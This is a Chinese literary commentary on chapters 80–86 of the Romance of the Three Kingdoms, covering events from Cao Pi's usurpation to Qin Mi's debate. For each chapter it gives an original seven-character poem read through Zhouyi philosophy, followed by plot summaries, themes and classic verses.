    卞氏质问曹丕欲如何处置曹植，曹丕限曹植七步之内成诗，曹植当场作诗，曹丕受其感动饶他一命，贬为安乡侯。之后，华歆、李伏等借祥瑞之说怂恿曹丕篡汉，曹皇后怒斥其兄。华歆等上殿逼宫，曹洪杀死祖弼，献帝无奈答应禅位。曹丕经过一番推辞作态后，最终接受禅让，登基称帝，国号大魏，改延康元年为黄初元年，并封献帝为山阳公。消息传到成都，汉中王刘备得知曹丕自立为帝且传言汉帝已遇害，痛哭终日，染病不起，后在诸葛亮等人劝说下，准备称帝以延续汉统。


    2. 主题：


    权力更迭与王朝兴衰：这一回集中展现了汉朝的衰落与曹魏政权的崛起，深刻反映了封建王朝权力更迭的残酷与必然。汉献帝虽为正统皇帝，但在权臣的逼迫下无奈禅位，象征着汉朝四百多年的统治走向终结，而曹魏新政权的建立则开启了新的历史篇章，体现出历史的车轮不断向前滚动，王朝兴衰更替是不可阻挡的历史趋势。


    忠义与奸逆的较量：在逼宫禅让的过程中，忠臣祖弼坚守忠义，坚决反对禅让，大骂曹洪等人，最终被杀害，其行为体现了对汉室的忠诚。而华歆等大臣为了迎合曹丕，逼迫献帝禅位，他们的行为则被视为奸逆。这种忠义与奸逆的鲜明对比，突出


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    了在权力斗争的背景下，不同人物的价值取向和道德选择。


    人心所向与正统之争：曹丕篡汉后，刘备集团以汉室苗裔的身份准备称帝延续汉统，这反映出当时人们对于正统的看法仍然存在争议。刘备一方认为自己是继承汉室的正统，而曹魏一方则通过禅让的方式试图确立自己的合法性。这也引发了人们对于正统的思考，即到底什么样的政权才是符合民心、顺应历史潮流的正统政权。


    3. 情节：


    七步成诗：曹丕欲加害曹植，限他七步之内作诗一首，不成则死。曹植才思敏捷，当场吟出“煮豆持作羹，漉菽以为汁。萁在釜下燃，豆在釜中泣。本自同根生，相煎何太急？”的诗句，不仅展现了他的才华，也表达了兄弟相残的悲哀，让曹丕有所触动，最终饶了曹植一命。这一情节凸显了曹植的聪慧和在困境中的冷静应对，也体现了曹丕虽心狠但仍有一丝人性。


    华歆逼宫：华歆作为汉朝旧臣，却积极参与逼迫汉献帝禅位，他在朝堂上强词夺理，以各种理由劝说献帝禅位，甚至在逼宫过程中毫不留情。他的行为表现出了对权力的追逐和对旧主的背叛，是典型的投机分子形象，这一情节进一步加剧了汉室的衰亡和曹魏篡权的紧张局势。


    筑坛禅让：为了使禅让之事更具合法性，曹丕听从贾诩的建议，让献帝筑“受禅坛”，选择吉日良辰，集大小公卿，举行隆重的禅让仪式。这一情节体现了曹丕对权力的渴望和对形式的重视，他试图通过这种方式来掩盖自己篡权的事实，同时也展示了古代封建王朝权力交接的一种特殊形式。


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 第81章 急兄仇张飞遇害，雪弟恨先主兴兵

    一、七律诗来解析《从周易哲学视角看〈三国演义〉第 81 回：复仇与命运的交织》：


    （一）《易理析三国八一回》


    兄仇似火燃心上，易理之中命运彰。


    义弟张飞性刚烈，急催白甲酿灾殃。


    东吴暗涌风云变，蜀汉兴兵意气扬。


    卦象冥冥恩怨绕，兴衰皆在复仇场。


    （一）诠释:


    首联“兄仇似火燃心上，易理之中命运彰”：


    在《三国演义》第 81 回中，关羽之死让刘备和张飞心中燃起了复仇之火，这股仇恨的火焰如同熊熊烈火难以熄灭。从周易哲学的角度来看，这是一种强大的“势”，而这种“势”推动着人物的命运走向。“易理之中命运彰”则点明了周易哲学所强调的命运并非偶然，而是各种因素相互作用的结果。刘备和张飞的复仇之举，看似是他们个人的选择，实则是在特定的历史背景和人物性格等多种因素影响下的必然走向，这与周易中对命运的理解相契合。


    颔联“义弟张飞性刚烈，急催白甲酿灾殃”：


    张飞性格刚烈暴躁，这是他的显着特点。在这一回中，他急切地要求部将在短时间内准备好白旗白甲，这种急躁的行为体现了他性格中的缺陷。在周易哲学中，万事万物都有其平衡之道，张飞的性格过于刚猛，失去了平衡，必然会引发不良后果。“急催白甲”这一行为成为了他命运转折的导火索，最终导致了他被部将范疆、张达所害，酿下了灾殃。这也反映了周易中“过刚易折”的道理。


    颈联“东吴暗涌风云变，蜀汉兴兵意气扬”：


    东吴方面，面对刘备的兴兵复仇，内部也暗涌着各种风云变化。孙权需要应对来自蜀汉的强大压力，同时还要权衡内部的各种势力和意见。这正如周易中的“变卦”，局势不断变化，充满了不确定性。而蜀汉一方，刘备为了雪弟恨，毅然兴兵，全军上下意气扬扬，充满了斗志。但这种意气用事的行为，在周易哲学看来，可能是一种过于冲动的表现，缺乏对局势的全面考量，为后续的失败埋下了伏笔。


    尾联“卦象冥冥恩怨绕，兴衰皆在复仇场”：


    整回故事中，人物之间的恩怨情仇如同一个复杂的卦象，冥冥之中似乎早已注定。刘备、张飞与东吴之间的仇恨纠葛，让他们陷入了复仇的漩涡。而这种复仇的行为，无论是对蜀汉还是东吴，都带来了兴衰的转折。从周易哲学的角度看，事物的发展是一个循环往复的过程，复仇的行为虽然在短期内可能带来一些快感和满足，但最终可能会导致更大的灾难和衰落。这一回的故事，正是这种命运循环的一个体现，人物们在复仇的战场上，不断地演绎着兴衰的变迁。


    （三）《三国演义》第81回名为“急兄仇张飞遇害，雪弟恨先主兴兵”。以下是其梗概、主题及相关经典诗句：


    1. 梗概：


    刘备不听赵云、秦宓、孔明等众人的劝谏，执意要发兵七十五万讨伐东吴，为关羽报仇，并令诸葛亮保太子守西川。


    在阆中的张飞报仇心切，下令军中在三日内置办白旗白甲，挂孝讨伐东吴。部将范疆、张达表示一时难以置办齐，希望能宽限几天，张飞一听大怒，将二人绑在树上鞭挞五十鞭，并下死令两日不完就杀头。


    范疆、张达二人被逼无奈，趁张飞喝醉之机，入帐杀了张飞，割下首级，逃往东吴。


    刘备得


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    知张飞被害，痛苦不已。他让关兴、张苞折箭为誓，永相救护，随后率领大军，以吴班为先锋，关兴、张苞护驾，讨伐东吴。孙权则派诸葛瑾去说服刘备与东吴和好，共讨曹丕。


    2. 主题：


    手足情深与复仇执念：此回鲜明地展现了刘备、张飞、关羽之间深厚的兄弟情谊。关羽被东吴所杀，刘备和张飞悲痛欲绝，复仇的火焰在他们心中燃烧。张飞的急躁和刘备的决然兴兵，都体现出他们对兄弟情义的看重以及对东吴的仇恨之深。


    人物性格的悲剧性：张飞的暴躁脾气和行事鲁莽，最终导致了他的悲惨结局，这反映出性格对人物命运的影响。而刘备因仇恨冲昏头脑，不顾大局执意伐吴，也为蜀汉的未来埋下了隐患，凸显出个人情感与国家大义之间的矛盾。


    3. 经典诗句：


    “义释严颜安蜀境，智欺张部定中州。伐吴未克身先死，秋草长遗阆地愁。”这是后人对张飞的一种感慨和评价。前两句回顾了张飞在蜀汉建立过程中的功绩，如义释严颜稳定了蜀地局势，用智谋击败张合等，展现了他的勇猛和智慧。后两句则叹息张飞在讨伐东吴之前就被部将杀害，他的死给阆中之地留下了长久的哀愁，也为蜀汉的命运增添了一抹悲壮的色彩。


    二、《从周易哲学视角看〈三国演义〉第 81 回：复仇与命运的交织》


    《三国演义》第 81 回“急兄仇张飞遇害，雪弟恨先主兴兵”，是一个充满悲剧色彩和深刻哲理的篇章。通过周易哲学的视角来深度解析这一回，我们可以更深入地理解其中所蕴含的命运、人性与选择的复杂交织。


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 第82章 孙权降魏受九锡，先主征吴赏六军

    一、七律诗《〈三国演义〉第 82 回的周易哲学解析：权谋、命运与平衡的交织》：


    （一）《权谋命运平衡间》


    三国风云卷巨澜，第捌拾贰回谋略篇。


    周易哲学玄机蕴，权谋命运相交缠。


    孙权降魏求存计，先主征吴怒火燃。


    变幻时局阴阳转，平衡之道在心间。


    （二）诠释：


    诗的首联“三国风云卷巨澜，第捌拾贰回谋略篇”，点明了《三国演义》第 82 回所处的宏大历史背景和充满谋略的情节。


    颔联“周易哲学玄机蕴，权谋命运相交缠”，指出了用周易哲学来解析这一回的核心，强调了其中权谋与命运相互交织的复杂关系。


    颈联“孙权降魏求存计，先主征吴怒火燃”，具体描述了这一回中的重要情节，孙权为了生存而降魏，刘备则因怒火而征吴。


    尾联“变幻时局阴阳转，平衡之道在心间”，总结了时局的变幻无常以及平衡之道的重要性，暗示人们要在复杂的局势中把握好平衡。


    整首诗以七律的形式，深入剖析了《三国演义》第 82 回与周易哲学的关联，展现了其中的权谋、命运与平衡等元素，富有内涵和深度。


    （三）《三国演义》第 82 回名为“孙权降魏受九锡，先主征吴赏六军”。以下是其梗概、主题及可能相关的经典诗句解析：


    1. 梗概：


    东吴求和不成，转投曹魏：刘备为报关羽之仇，提兵伐吴。孙权不想妄动干戈，派诸葛瑾前去向刘备求和。诸葛瑾向刘备陈述了三条理由，一是杀关羽是吕蒙的私人行为，并非吴主之意，且吕蒙已死；二是蜀吴有联姻之宜，孙夫人常思回家服侍皇叔；三是刘备乃大汉皇叔，当以讨伐篡汉的曹魏为重，不应急着报私仇。然而，此时刘备被仇恨左右，不听诸葛瑾的劝告，将其喝退。求和失败后，孙权只好派中大夫赵咨向魏帝曹丕求援，向魏称臣。


    曹丕封孙权为吴王，坐山观虎斗：曹丕封孙权为吴王，加九锡，但他并不打算出兵帮助东吴，而是想坐山观虎斗。


    孙桓请缨应敌，蜀军初战告捷：蜀军大军压境，孙权召部将商量对策，小将孙桓请缨应敌。刘备派关羽的儿子关兴和张飞的儿子张苞迎战，孙桓大败，派人向孙权求救。随后，蜀军趁势劫营，并于路设伏兵，阻击水上援军，再次取得胜利。刘备大喜，犒赏六军。


    2. 主题：


    政治谋略与外交手段：此回充分展现了各国之间的政治博弈和外交策略。孙权在面临刘备的进攻时，一方面试图与刘备求和，另一方面又向曹魏称臣求援，以求得生存和发展的机会。而曹丕则采取了坐山观虎斗的策略，试图从中渔利，这体现了三国时期各国之间复杂的政治关系和外交手段。


    仇恨与理智的冲突：刘备因关羽之死对东吴充满仇恨，一心想要报仇，不顾诸葛瑾的劝告和大局，执意伐吴。这反映了仇恨对人的影响，以及在仇恨面前，理智往往难以占据上风。然而，这种被仇恨冲昏头脑的行为，也为后来刘备的失败埋下了伏笔。


    新人与老将的交替：关兴、张苞等年轻将领在战场上崭露头角，屡立战功，而刘备却感叹昔日老将已经无用。这暗示了三国时期新人的崛起和老将的逐渐凋零，以及时代的更替和传承。


    3. 经典诗句（此回可能无原着中的经典诗句，但可根据情节衍生理解一些相关表述）：


    “老臣


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    素矢忠君志，年少能成报国功”：这虽然不是原着中的诗句，但可以根据此回情节来理解。此句可体现出黄忠等老臣的忠诚和报国之志，以及关兴、张苞等年轻将领的英勇和立功表现。黄忠作为老将，听到刘备说昔日老将不行的话后，可能心中不服，想要证明自己的价值，体现了老臣的忠君之心；而关兴、张苞在战场上的出色表现，则证明了年轻一代的将领也能够为国家建立功勋。


    “风云变幻三国间，恩怨情仇一念牵”：三国时期局势风云变幻，各国之间的关系错综复杂，而这一切往往源于各种恩怨情仇。在这一回中，刘备与东吴之间的仇恨就是推动情节发展的重要因素，孙权的决策和刘备的行动都受到了这种仇恨的影响，可谓是“一念牵”。此句可概括三国时期的局势特点以及本回中人物的情感纠葛对局势的影响。


    二、《〈三国演义〉第 82 回的周易哲学解析：权谋、命运与平衡的交织》


    《三国演义》第 82 回“孙权降魏受九锡，先主征吴赏六军”，展现了一段充满权谋、战争与复杂情感的历史画卷。而运用周易哲学的视角来解读这一回，更能揭示其中蕴含的深刻道理和宇宙运行的规律。


    在这一回中，孙权面临刘备的大军压境，选择了降魏受九锡这一策略。这一决策体现了周易中“变易”的思想。事物总是处于不断变化之中，孙权根据形势的变化，灵活地调整自己的策略，以求得生存和发展。他深知在强敌当前的情况下，必须采取权宜之计，暂时依附于曹魏，以应对来自刘备的威胁。这种顺应时势的转变，体现了他对局势的敏锐洞察力和果断决策的能力。


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 第83章 战猇亭先主得仇人 守江口书生拜大将

    一、七律诗赞《周易哲学视角下的〈三国演义〉第 83 回解析》：


    （一）《赞〈三国〉第 83 回解析》


    周易哲思蕴妙篇，三国回目细钻研。


    复仇烈火燃心志，命运波澜荡史笺。


    乾卦刚坚豪气显，剥爻衰败叹时迁。


    忠义精神永传颂，智慧之光耀世间。


    （二）诠释：


    诗的首联“周易哲思蕴妙篇，三国回目细钻研”，点明了以周易哲学视角来深入解析《三国演义》第 83 回这一主题，体现了对其细致研究的态度。


    颔联“复仇烈火燃心志，命运波澜荡史笺”，描述了刘备为报仇而燃起的决心，以及其中所展现的命运起伏，如历史的画卷一般。


    颈联“乾卦刚健豪气显，剥爻衰败叹时迁”，分别提到了“乾”卦所代表的刚健豪气和“剥”卦所象征的衰败，表达了对其中情节和人物命运变化的感慨。


    尾联“忠义精神永传颂，智慧之光耀世间”，强调了忠义精神的永恒价值，以及其中所蕴含的智慧如光芒般闪耀于世。


    整首诗通过七律的形式，对《周易哲学视角下的〈三国演义〉第 83 回解析》进行了赞颂和阐述。


    （三）《三国演义》第83回名为“战猇亭先主得仇人，守江口书生拜大将”。以下是其梗概、主题思想、情节、经典诗句和典故：


    1. 梗概：


    黄忠之死与蜀吴交锋：章武二年春正月，黄忠随刘备伐吴。黄忠不服老，单搦先锋潘璋交战，斩其部将史迹，后与潘璋交战数合，潘璋不敌逃走。黄忠纵马追杀，却被吴军伏兵困住，中了马忠一箭。关兴、张苞杀来救出黄忠，但黄忠因年老血衰，箭疮痛裂，最终死于御营。刘备将其葬于成都，悲痛不已，发誓要为黄忠及关羽报仇，遂大会诸将，分军八路，水陆俱进。


    甘宁之死与关兴复仇：甘宁正在船中养病，听闻蜀兵大至，火急上马迎敌。遇到番王沙摩柯，甘宁见其势大不敢交锋，拨马而走，被沙摩柯一箭射中头颅，带箭走到富池口，坐于大树之下而死。关兴在寻找仇人潘璋的过程中迷路，借宿一老者家，发现堂内有关公神像。三更时，潘璋也来投宿，被关兴手起剑落斩于地上，关兴取其心沥血，在关公神像前祭祀，得了父亲的青龙偃月刀。


    糜芳、傅士仁杀马忠投蜀：马忠是害死关羽的凶手之一，他收聚败军守把。夜里，军士们哭声不止，有人商议要杀了糜芳、傅士仁去蜀营投降。糜芳、傅士仁得知后，商议杀了马忠，将首级割下，带数十骑去猇亭见刘备，称是不得已而降吴，如今特来请罪。刘备大怒，令关兴在御营中设关公灵位，亲捧马忠首级诣前祭祀，又令关兴将糜芳、傅士仁剥去衣服，跪于灵前，亲自用刀剐之，以祭关公。


    2. 主题思想：


    复仇与忠义：本回重点体现了刘备集团对关羽、黄忠之死的悲愤以及强烈的复仇情绪，突出了忠义的价值观念。关兴为父报仇、刘备为关羽和黄忠报仇的情节，都展现了忠义之士对仇人绝不姑息的态度。


    战争的残酷与无常：黄忠、甘宁这两位开国元勋的阵亡，凸显了战争的残酷性和无常性。无论多么英勇的将领，在战争中都可能随时丧命，生命在战争的漩涡中显得极其脆弱。


    人物命运的起伏：从糜芳、傅士仁最初投降东吴，到后来因军心变动又杀马忠欲投蜀，体现了人物命运在战乱局势下的


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    起伏不定。他们的行为既反映了战争中人心的惶惶不安，也暗示了背叛者往往难以善终的命运。


    3. 情节：


    黄忠力战潘璋：黄忠虽年逾七旬，但仍英勇无比，单枪匹马挑战潘璋，展现出老当益壮的风采。他先斩潘璋部将史迹，后与潘璋交战不落下风，追杀潘璋时中了吴军埋伏，体现了他的勇猛和忠诚。


    关兴斩潘璋：关兴在寻找潘璋的过程中充满曲折，最终在借宿的老者家中遇到潘璋，手起剑落将其斩杀，取心沥血祭祀父亲关羽，不仅为父报仇，还得到了关羽的青龙偃月刀，这一情节凸显了关兴的英勇和孝心。


    刘备剐糜芳、傅士仁：糜芳、傅士仁曾背叛刘备投降东吴，导致关羽败亡。他们后来杀马忠欲向刘备请罪，但刘备毫不留情地将他们剐杀，以祭关公。这一情节表现了刘备对关羽的深厚情谊以及对叛徒的痛恨。


    4. 经典诗句：


    “老将说黄忠，收川立大功。重披金锁甲，双挽铁胎弓。胆气惊河北，威名镇蜀中。临亡头似雪，犹自显英雄。”此诗高度概括了黄忠的一生，赞扬了他在收川之战中立下的大功，以及他的英勇和威名，即使在临死之时，依然彰显出英雄本色。


    5. 典故：


    关羽显圣：关兴在老者家中看到关公神像大哭而拜，此时潘璋恰好前来投宿，关兴看到门外进来一人面如重枣、丹凤眼、卧蚕眉、飘三缕美髯、绿袍金铠、按剑而入，潘璋大叫一声，神魂惊散。这里暗示了关羽显圣，助关兴斩杀仇人，虽然带有一些神秘色彩，但也体现了关羽在人们心中的崇高地位以及关兴为父报仇的正义性。


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 第84章 陆逊营烧七百里 孔明巧布八阵图

    一、七律诗赞《周易哲学视角下的“陆逊营烧七百里 孔明巧布八阵图”》：


    （一）《赞陆逊孔明》


    周易哲思蕴妙玄，


    火烧连营七百里传。


    陆逊智谋破强敌，


    孔明布阵显奇篇。


    阴阳变化玄机蕴，


    象数融通道法全。


    三国风云书壮烈，


    千秋史册颂英贤。


    （二）诠释：


    诗的首联“周易哲思蕴妙玄”，点明了以周易哲学的视角来解读这一情节的深意。


    “火烧连营七百里传”描述了战役中火烧连营的壮烈场面。


    颔联“陆逊智谋破强敌，孔明布阵显奇篇”，分别赞颂了陆逊的智谋和孔明布阵的奇妙。


    颈联“阴阳变化玄机蕴，象数融通道法全”，进一步阐述了周易哲学中阴阳变化和象数所蕴含的道理。


    尾联“三国风云书壮烈，千秋史册颂英贤”，强调了这一情节在三国历史中的重要性，以及对英雄豪杰的赞颂。整首诗通过对这一情节的描绘和对周易哲学的融入，展现了其丰富的内涵和深远的意义。


    （三）《三国演义》第八十四回名为“陆逊营烧七百里 孔明巧布八阵图”。以下是其梗概、主题思想、情节、经典诗句及典故等方面的介绍：


    1. 梗概：


    战前局势：刘备为给关羽和张飞报仇，率领大军攻打吴国。陆逊被孙权任命为大都督，吴兵将领因他是年轻书生而不服气。刘备见陆逊坚守不出，便轻视他。


    火烧连营：陆逊坚守多日后，见蜀兵松懈，且刘备在草木茂盛处连营七百里，认为破蜀时机已到。他定下火攻之计，趁东南风起，派士兵用火攻蜀营。蜀兵四处逃窜，刘备陷入混乱，幸得张苞、关兴等将领保护。


    八阵图退敌：陆逊大获全胜后乘胜追击，走到离夔关不远的鱼腹浦，看到江边有杀气冲天而起。陆逊派人打探，得知此处有诸葛亮布下的八阵图。陆逊进入阵中后迷失方向，幸得诸葛亮岳父黄承彦指引才得以走出。陆逊感叹诸葛亮之才能，不敢再追，于是退兵。


    2. 主题思想：


    骄兵必败：刘备在连营七百里时，众将曾力劝，但他不听，自以为兵力众多、胜券在握，结果被陆逊抓住破绽，一把火烧掉了七百里连营。这体现了骄兵必败的道理，警示人们在任何时候都不能过于自负和轻敌。


    智谋的重要性：陆逊作为东吴的年轻将领，起初不被众人看好，但他凭借自己的智谋和沉稳，找到了刘备的弱点，成功实施火攻计策，大败蜀军。而诸葛亮虽不在前线，却早已料到刘备可能会犯的错误，并提前在鱼腹浦布下八阵图，阻挡了陆逊的追击，展现出智谋在战争中的关键作用。


    时势变化：此回故事中，战局的变化迅速而剧烈，刘备起初气势汹汹地进攻东吴，看似占尽优势，但陆逊的一把火让局势瞬间逆转。这反映了时势变化无常，在战争和政治斗争中，没有永远的优势和劣势，需要时刻保持警惕和敏锐的洞察力。


    3. 情节：


    蜀将之殇：此役中，蜀将傅彤为刘备断后，被吴军围困，他大骂“吾乃汉将，安肯降吴狗乎！”最终挺枪纵马，与吴军血战，口吐鲜血，倒在乱军当中；蜀汉祭酒程畿在江边指挥水军与吴军较量，自知难以突围


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    后拔剑自刎；大将冯习、张南死于乱军之中；蛮王沙摩柯被东吴将领周泰所杀；蜀军将领杜路、刘宁投降东吴。


    孙夫人之死（小说情节）：身在江东的孙夫人听到刘备被杀的消息（实则是误传），信以为真，投江而亡。不过这是小说作者为了情节需要虚构的故事，在历史上孙夫人与刘备的婚姻是政治婚姻，双方感情产生隔阂，刘备入蜀不久孙夫人就返回了东吴。


    4. 经典诗句：本回中有“功盖三分国，名成八阵图。江流石不转，遗恨失吞吴”。这是杜甫的诗，意思是诸葛亮的功劳在三国时期最为卓着，他的名声因八阵图而更加显着。长江的水不停地流，但八阵图的石头却始终屹立不动，诸葛亮最终未能实现吞并东吴的遗愿，充满了对诸葛亮的赞誉和惋惜之情。此诗既强调了诸葛亮的军事才能和历史功绩，又暗示了他在战略上的一些遗憾，与本回中诸葛亮巧布八阵图的情节相呼应。


    5. 典故：


    陆逊营烧七百里：陆逊利用火攻策略，烧毁刘备的七百里连营，这是《三国演义》中着名的火攻战役之一。此典故成为了以少胜多、以弱胜强的经典战例，也体现了火攻在古代战争中的重要作用和威力。


    孔明巧布八阵图：诸葛亮入川时在鱼腹浦用石头摆成阵势，名为“八阵图”。此阵按遁甲休、生、伤、杜、景、死、惊、开八门布置，变化无端，可比得上十万精兵。八阵图是诸葛亮智慧的结晶，成为了古代军事阵法的经典代表，也为后世留下了许多传说和神秘色彩。


    二、《周易哲学视角下的“陆逊营烧七百里 孔明巧布八阵图”》


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 第85章 刘先主遗诏托孤儿 诸葛亮安居平五路

    一、七律诗对《周易哲学视角下的〈三国演义〉第 85 回解析》进行的解析：


    （二）《〈三国演义〉第 85 回解析》


    风云变幻演沧桑，周易哲思透史章。


    遗诏托孤含易理，安居平五路存方。


    阴阳互补乾坤定，刚柔相济智慧彰。


    应对危机知变化，英雄伟业永流芳。


    （二）诠释:


    这首诗围绕第 85 回的情节和周易哲学的关联，展现了其中的深刻内涵和历史意义。


    诗的首联“风云变幻演沧桑，周易哲思透史章”，指出《三国演义》中充满了风云变幻的历史沧桑，而周易哲学的思想在其中得以体现。


    颔联“遗诏托孤含易理，安居平五路存方”，点明“遗诏托孤”这一情节蕴含着周易的道理，而“安居平五路”则展现了应对之方。


    颈联“阴阳互补乾坤定，刚柔相济智慧彰”，进一步阐述了阴阳互补、刚柔相济的周易理念在其中的彰显。


    尾联“应对危机知变化，英雄伟业永流芳”，强调了在面对危机时懂得变化的重要性，以及英雄们的伟大功业将永远流传。


    整首诗通过七律的形式，深入剖析了《三国演义》第 85 回与周易哲学的紧密联系，展现了其中的智慧和历史价值。


    （三）三国演义第 85回回目，经典梗概，主题思想，经典情节，经典诗句，经典典故


    回目：《三国演义》第85回回目为“刘先主遗诏托孤儿 诸葛亮安居平五路”。


    经典梗概：


    刘备托孤：章武二年夏六月，陆逊在猇亭彝陵之地大破蜀兵，刘备奔回白帝城，染病不起且病情逐渐加重。至章武三年夏四月，刘备自知命不久矣，于是遣使往成都请丞相诸葛亮、尚书令李严等星夜来永安宫，听受遗命。刘备将刘禅托付给诸葛亮，并表示若刘禅可辅就辅佐，若不可辅，诸葛亮可自行取代。诸葛亮泣拜，表示会竭尽全力、忠贞不二地辅佐刘禅。


    曹丕伐蜀：魏王曹丕听闻刘备已亡，欲起兵伐蜀。司马懿建议起五路大军四面夹攻，让诸葛亮首尾不能相顾，曹丕依计而行。这五路兵分别是：辽西羌兵十万取西平关；南蛮王孟获起兵十万攻打益州、永昌等郡；孙权起兵十万攻两川峡口取涪城；降将孟达起上庸兵十万西攻汉中；大将军曹真率兵十万攻打阳平关。


    诸葛亮应对：面对五路大军来犯，蜀国上下惶惶不安，而诸葛亮却推病不上朝，数日闭门不出。实际上他已在暗中运筹帷幄，对五路大军分别采取了不同的应对策略。他派马超紧守西平关抵御羌兵；令魏延用疑兵之计对付南蛮孟获；以李严的书信稳住孟达；调赵云守阳平关；准备派一舌辩之士前往东吴说服孙权退兵。


    主题思想：


    忠诚与责任：此回鲜明地体现了诸葛亮对蜀汉的忠诚以及他所肩负的责任。刘备托孤于诸葛亮，诸葛亮毫不犹豫地接受并立下誓言，展现了他的忠诚和担当精神，这种忠诚也是《三国演义》所倡导的重要品质。


    智谋的力量：诸葛亮面对五路大军压境的危机，沉着冷静地分析局势，巧妙地制定应对策略，充分展示了他的智谋和军事才能。强调了在困境中，智慧和谋略的重要性，能够以弱胜强、化险为夷。


    政权的传承与稳定：刘备托孤这一情节，体现了蜀汉政权的传承问题。刘备深知刘禅年幼且能力不足，将国家大事托付给诸葛亮，希望能保持蜀汉的稳


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    定和延续，这也反映出古代君主对于政权传承的重视和担忧。


    经典情节：


    刘备托孤：刘备躺在永安宫的病榻上，强撑着身体与诸葛亮进行临终对话。他将刘禅托付给诸葛亮，并说出了“若嗣子可辅，则辅之；如其不才，君可自为成都之主”的话，而诸葛亮涕泪横流，誓言效忠蜀汉至死不渝。这一场景成为了《三国演义》中的经典情节，展现了刘备的深谋远虑和诸葛亮的忠诚。


    诸葛亮安居平五路：诸葛亮在得知五路大军来犯后，数日闭门不出，却早已心中有数。他针对五路大军的不同情况，分别采取了相应的策略，巧妙地化解了危机。例如利用马超在羌人中的威望抵御羌兵；用疑兵之计让多疑的蛮兵不敢轻进等，充分展示了他的智谋和军事才能。


    经典诗句：


    “蜀主窥吴向三峡，崩年亦在永安宫。翠华想像空山外，玉殿虚无野寺中。古庙杉松巢水鹤，岁时伏腊走村翁。武侯祠屋长邻近，一体君臣祭祀同。”这首诗是后人对刘备白帝城托孤这一事件的感慨，描绘了刘备驾崩后永安宫的凄凉景象以及后人对刘备和诸葛亮这一对君臣的祭祀。


    经典典故：


    白帝城托孤：刘备在白帝城将刘禅托付给诸葛亮，成为历史上着名的托孤典故。这一事件不仅在《三国演义》中被浓墨重彩地描写，也被后世广泛传颂和演绎，成为了忠诚与信任的象征。


    安居平五路：诸葛亮在面对五路大军压境的危机时，通过巧妙的策略和安排，兵不血刃地化解了危机，这一事件被称为“安居平五路”，成为了军事谋略和智慧的经典案例。


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 第86章 难张温秦宓逞天辩，破曹丕徐盛用火攻

    一、七律诗对《周易哲学视角下的〈三国演义〉第 86 回解析》的解析：


    （一）《〈三国演义〉第 86 回解析》


    风云际会三国间，周易哲思蕴其间。


    秦宓天辩展智慧，徐盛火攻破敌顽。


    变化无常运难测，刚柔并济道自宽。


    阴阳转化理玄妙，名着深研意绵绵。


    （二）诠释:


    这首诗围绕第 86 回的情节与周易哲学的关联，表达了其中的智慧与变化，以及对人生的启示。


    诗的首联“风云际会三国间，周易哲思蕴其间”，指出《三国演义》所处的三国纷争的背景，同时点明其中蕴含着周易哲学的思想。


    颔联“秦宓天辩展智慧，徐盛火攻破敌顽”，描述了秦宓在辩论中展现出的智慧，以及徐盛用火攻打破敌军的壮举，体现了人物的智谋和策略。


    颈联“变化无常运难测，刚柔并济道自宽”，强调了世间变化的无常和难以预测，以及刚柔并济的处世之道。


    尾联“阴阳转化理玄妙，名着深研意绵绵”，揭示了周易哲学中阴阳转化的玄妙道理，同时表达了对深入研究这部名着的意趣和感慨。


    整首诗通过对《三国演义》第 86 回的解析，展现了周易哲学的深刻内涵和对人生的启示。


    （三）《三国演义》第86回的回目是“难张温秦宓逞天辩，破曹丕徐盛用火攻”。以下是对该回的具体解读：


    1. 经典梗概：


    外交之辩：蜀吴大战之后，魏国曹丕欲联合吴国兵分四路攻打蜀国。吴王孙权听从陆逊的计策按兵不动，果然其他三路皆告失利。此时蜀国派遣邓芝来吴国议和，吴王本欲刁难邓芝以显示自己的威仪，却折服于邓芝的风采，于是派张温出访蜀国答礼。张温到了蜀国后，自以为得志，有些傲慢。酒席之间，秦宓趁酒醉闯入，张温与秦宓二人展开了一番问天辩论，秦宓以出色的口才和渊博的知识对答如流，让张温无言以对，羞愧避席。


    战争之役：魏主曹丕听说蜀吴和好，很是生气，于是起三十万大军伐吴。蜀吴两国势弱，唇齿相依，决定联合抵挡魏国的进攻。吴王派徐盛迎战魏主，徐盛用计在江边束缚芦苇为人，立于假城疑楼之上，并在芦苇内预先灌入鱼油。曹丕率军渡河时，鱼油被点燃，火趁风势，火焰漫空，魏军大败。张辽回到许昌后，箭疮迸裂身亡，曹丕厚葬之。而此时蜀国派遣赵云从阳平关出兵，骚扰魏国的后方，魏国两面受攻，只得退兵。另外，赵云出兵后，蛮王孟获起十万蛮兵侵略蜀国后方，诸葛亮急忙招回赵云，决定亲自南征，扫平南蛮的隐患。


    2. 主题思想：


    外交智慧的重要性：这一回通过蜀吴两国之间的外交互动，展现了外交策略和使者的才能在国家关系中的重要作用。邓芝的勇敢和秦宓的善辩，为蜀吴两国重新结盟奠定了基础，说明在三国鼎立的局势下，外交手段是各国维护自身利益、争取盟友的重要方式。


    军事谋略的关键影响：徐盛以火攻之计大败曹丕的魏军，体现了军事将领的智谋和战术运用对于战争胜负的决定性影响。同时，也反映出曹魏在战略决策上的失误，曹丕的意气用事和轻敌冒进导致了魏军的失败，进一步凸显了战争中谋略和决策的重要性。


    三国局势的动态变化：本回情节展示了三国之间的关系


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    是不断变化的，各国根据自身利益和局势发展进行着战略调整。蜀吴两国从之前的战争状态转为结盟，共同对抗曹魏的进攻，体现了三国之间相互制衡、相互依存的复杂关系。


    3. 经典情节：


    秦宓逞天辩：张温问秦宓天是否有头、耳、足、姓等问题，秦宓皆能巧妙回答。如张温问“天有头乎”，秦宓答“头在西方。《诗》云：‘乃眷西顾。’以此推之，头在西方也”；问“天有耳乎”，答“天处高而听卑。《诗》云：‘鹤鸣于九皋，声闻于天。’无耳何能听”等，充分展示了秦宓的博学和机智，以及临危不惧、善于应对的才能。


    徐盛火攻曹寨：徐盛利用假城疑楼和灌满鱼油的芦苇，成功地实施了火攻之计。火起之后，火势凶猛，曹丕大惊，慌忙逃走，魏军大败。这一情节生动地展现了徐盛的军事才能和智谋，以及火攻在古代战争中的巨大威力。


    4. 经典诗句：此回中可能没有特别着名的独立诗句，但《三国演义》中对于历史情境和人物情感的描述常常以诗歌的形式呈现，以增强文学性和感染力。不过关于这一回的具体诗句可能并不广为人知。


    5. 经典典故：


    秦宓天辩：秦宓与张温的问天辩论成为了三国时期的一个着名典故，体现了古人对于天文、地理等知识的探讨和思考，也展示了文人之间的才学较量和智慧碰撞。


